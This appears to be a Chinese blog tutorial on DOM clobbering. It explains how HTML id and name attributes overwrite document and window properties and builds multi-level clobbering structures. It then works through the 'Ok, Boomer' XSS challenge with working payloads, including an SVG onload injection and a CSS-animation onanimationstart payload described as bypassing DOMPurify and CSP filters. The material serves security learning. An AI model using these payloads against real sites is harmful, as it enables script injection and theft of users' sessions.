DOM破坏
DOM破坏
“DOM破坏”(DOM Clobbering),也称为“DOM污染”或“DOM污染攻击”,是一种常见的前端安全攻击方式,通常用于配合 XSS(跨站脚本) 或 访问控制绕过。攻击者通过向 HTML 中注入特定属性或标签,污染原有 DOM 结构中的对象属性,使得开发者对 DOM 的访问行为发生意料之外的改变,从而造成安全问题。
基础原理
HTML 元素的
id和name属性会被自动挂载到window或document对象上。
DOM Clobbering 是一种利用 HTML 属性污染 DOM 对象的技术0。
常用于配合 XSS 或逻辑绕过。
核心利用点在于:HTML 的 id/name 会污染
document和window。
example:
我们在 html 文件中添加一个 img 标签
1 | <img name=a> |
这个时候我们可以用 document.a 在控制台中获取它

而cookie 是 document 的固有属性,主要用于保持会话状态、存储用户偏好或跟踪用户行为,显然,这是一个比较危险的属性,当我们正常在浏览器中访问它时

那么,我们如果在 html 中加入以下元素呢
1 | < img name=cookie> |

显然,这种行为看起来是不可思议的,但他的却被允许出现 js 中,那我们也许可以利用他的这种特性,来实施我们的DOM破坏
这种操作在python,弱类型语言中也是可以实现的
两层覆盖
在上面的例子中,我们实现了 document.cookie 属性的单层覆盖,那么,我们如何去实现 document.body.appendChild 这种的两层覆盖呢
1 | <form name=body> |

可以看到,我们已经成功覆盖了 appendChild ,但是我们是用 img 标签去覆盖的,而 img 通过 tostring 方法的返回值 [object HTMLImageElement] 还是一个对象,这表明 img 标签是我们难以去控制的,所以我们希望找到一个可以被 tostring 方法转换为可控的字符串的标签,以便于写入我们的 payload
我们用以下代码来查找我们的目标标签
1 | var res = Object.getOwnProperNames(window) |

这串代码返回了两个目标标签,area 和 a 标签,而 area是空元素,是不能被我们利用的,所以只剩下唯一的目标标签 a 标签
1 | <a id=a href="my payload">aaa</a> |

我们可以利用 a 标签的 href 属性来进行字符串转换,其他可用属性:titie,username,passwd
那么,我们的两层结构必然是 X标签.a标签 ,而 X标签 应该是特定的某个标签,还是任意标签呢
1 | <x id=x> |
实际上,任何标签都无法与a 标签组成我们期望的 x.a 的双层结构,但我们可以采取另一种方法
1 | <x id=x> |
我们也可以通过利⽤存在特定关系的HTML标签来构建层级关系
1 | var log=[]; |
result
1 | form,button |
1 | <form id=x> |
三层结构
结合两种技巧
1 | <form id="x" name="y"><output id=z>I've been clobbered</output> </form> |
DOM破坏实例
Ok, Boomer
1 | <h2 id="boomer">Ok, Boomer.</h2> |
通过对DOM破坏 原理的了解,我们只需要让 OK 中的内容变成我们想执行的内容,就可以解出这道题了
1 | <a id=ok href="alert(1)">aaa</a> # 需要用javascript:伪协议触发 |

貌似是被框架过滤掉了


1 | 尝试允许的协议 |
SVG
1 | <script> |
SVG解法
1 | <svg><svg/onload=alert(1)></svg> |
当你执行:
1 | root.innerHTML = "<svg><svg/onload=alert(1)></svg>" |
浏览器会:
- 解析字符串为 DOM 元素树。
- 创建
<svg>和其内部的<svg onload=alert(1)>。 - 对于嵌套的
<svg>,浏览器直接创建 SVG 命名空间的元素,并注册属性事件。 - 对于 某些 SVG 元素和浏览器,只要这个元素一被创建出来,就会立即触发
onload,不需要插入页面。
这是 SVG 特有的“预激活行为”。
SVG 的 onload 事件在元素被创建并插入 DOM 树时(哪怕只是 fragment 里),就可能被执行。
DOM破坏解法
1 | <form a=1 b=2> |

/zh-CN/docs/Glossary/Attribute
…属性(Attribute)可扩展 HTML 或 XML 元素,改变其行为或提供元数据。 属性的形式总是 name=”value”(属性的标识符后跟相关的值)。
我们用 input 标签的 id 属性,重写/覆盖 了 form 标签的 attribute 属性,从而保留了form 标签的原有属性

无需用户参与的 payload
1 | <style>@keyframes x{}</style> |
- 利用了 HTML 的
onanimationstart属性作为注入点,搭配合法的 CSS 动画触发执行。 - 不依赖
script标签或<img onerror>,因此在很多 过滤器或 CSP 限制下能绕过检测。
这个技术在实际 XSS 攻击中被称为:
- “CSS Animation + onanimationstart” XSS。
- 经常出现在一些 DOMPurify 绕过、CSP 绕过、严格过滤器逃逸的场景中。